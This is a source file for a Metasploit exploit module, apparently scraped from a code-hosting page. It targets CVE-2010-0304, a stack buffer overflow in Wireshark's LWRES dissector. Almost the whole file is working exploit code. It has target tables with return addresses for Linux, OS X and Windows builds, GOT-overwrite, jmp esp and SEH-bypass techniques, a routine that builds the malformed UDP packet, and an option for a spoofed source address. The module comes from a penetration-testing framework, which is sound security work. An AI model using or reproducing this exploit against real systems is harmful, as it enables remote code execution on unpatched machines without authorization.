Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh10include Msf::Exploit::Capture1112def initialize(info = {})13super(update_info(info,14'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow',15'Description' => %q{16The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through171.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer18overflow. This bug found and reported by babi.1920This particular exploit targets the dissect_getaddrsbyname_request function. Several21other functions also contain potentially exploitable stack-based buffer overflows.2223The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents24exploitation via the return address on the stack. Sending a larger string allows25exploitation using the SEH bypass method. However, this packet will usually get26fragmented, which may cause additional complications.2728NOTE: The vulnerable code is reached only when the packet dissection is rendered.29If the packet is fragmented, all fragments must be captured and reassembled to30exploit this issue.31},32'Author' =>33[34'babi', # original discovery/exploit35'jduck', # ported from public exploit36'redsand' # windows target/testing37],38'License' => MSF_LICENSE,39'References' =>40[41[ 'CVE', '2010-0304' ],42[ 'OSVDB', '61987' ],43[ 'BID', '37985' ],44[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],45[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]46],47'DefaultOptions' =>48{49'EXITFUNC' => 'process',50},51'Privileged' => true, # at least capture privilege52'Payload' =>53{54'Space' => 512,55'BadChars' => "\x00",56'DisableNops' => true,57},58'Platform' => %w{ linux osx win },59'Targets' =>60[61[ 'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',62# breakpoint: lwres.so + 0x2ce263{64'Arch' => ARCH_X86,65'Platform' => 'linux',66# conveniently, edx pointed at our string..67# and so, we write it to g_slist_append's GOT entry just before its called.68# pwnt.69#70# mov [ebx+0xc],edx / jmp 0x804fc40 -->71# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append72#73'Ret' => 0x804fc85, # see above..74'RetOff' => 376,75'Readable' => 0x804fa04, # just anything76'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append77}78],79[ 'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',80{81'Arch' => ARCH_X86,82'Platform' => 'linux',83# the method for tshark doesn't work, since there aren't any convenient84# pointers lying around (in reg/close on stack)85#86# since the wireshark bin has a jmp esp, we'll just use that method..87'Ret' => 0x818fce8, # jmp esp in wireshark bin88'RetOff' => 376,89'Readable' => 0x8066a40, # just any old readable addr (unused)90'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)91}92],9394[ 'wireshark 1.2.5 on RHEL 5.4 (x64)',95{96'Arch' => ARCH_X64,97'Platform' => 'linux',98'Ret' => 0xfeedfed5deadbeef,99'RetOff' => 152,100}101],102103[ 'wireshark 1.2.5 on Mac OS X 10.5 (x86)',104{105'Arch' => ARCH_X86,106'Platform' => 'osx',107'Ret' => 0xdeadbeef,108'RetOff' => 268,109}110],111112# The following target was tested against Windows XP SP3 and Windows Vista113[ 'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',114{115'Arch' => ARCH_X86,116'Platform' => 'win',117# NOTE: due to the length of this packet, your mileage may vary.118'Ret' => 0x61B4121B,119# 0x655810b6 = pop/pop/ret in libpango120# 0x02A110B6 = pop/pop/ret in libgtk-w121# 0x03D710CC = pop/mov/pop/ret in packet122# 0x61B4121B = pop/pop/ret in pcre3123'RetOff' => 2128,124}125],126],127'DisclosureDate' => '2010-01-27'))128129register_options([130Opt::RPORT(921),131OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])132])133134deregister_options('FILTER','PCAPFILE')135end136137def exploit138check_pcaprub_loaded # Check first139140ret_offset = target['RetOff']141142# we have different techniques depending on the target143if (target == targets[0])144# debian tshark145str = make_nops(ret_offset - payload.encoded.length - 16)146str << payload.encoded147str << [target['GotAddr'] - 0xc].pack('V')148str << rand_text(4)149str << [target['Readable']].pack('V')150str << rand_text(4)151# ret is next152elsif (target == targets[1])153fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string154str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)155str << fix_esp156str << payload.encoded157# jmp esp...158str << [target.ret].pack('V')159# jump back160distance = ret_offset + 4161str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string162elsif (target == targets[2])163str = Rex::Text.pattern_create(ret_offset - 8)164str << Rex::Arch.pack_addr(target.arch, 0xdac0ffeebadc0ded)165elsif (target == targets[4])166# ugh, /GS and UDP length issues :-/167str = make_nops(ret_offset - payload.encoded.length)168str << payload.encoded169str << generate_seh_record(target.ret)170# jump back171distance = ret_offset + 8172str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string173else174# this is just a simple DoS payload175str = Rex::Text.pattern_create(ret_offset)176#str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string177end178179# add return address180str << Rex::Arch.pack_addr(target.arch, target.ret)181182# form the packet's payload!183sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"184sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"185sploit << "\x00\x00\x00\x01"186sploit << [str.length].pack('n')187sploit << str188sploit << "\x00\x00"189190shost = datastore['SHOST']191if (shost)192print_status("Sending malformed LWRES packet to #{rhost} (spoofed from #{shost})")193open_pcap194195p = PacketFu::UDPPacket.new196p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)197p.ip_daddr = rhost198p.udp_sport = rand((2**16)-1024)+1024199p.udp_dport = datastore['RPORT'].to_i200p.payload = sploit201p.recalc202203sent = capture_sendto(p, rhost)204close_pcap205206handler if sent207else208print_status("Sending malformed LWRES packet to #{rhost}")209connect_udp210udp_sock.put(sploit)211212handler213disconnect_udp214end215216end217end218219220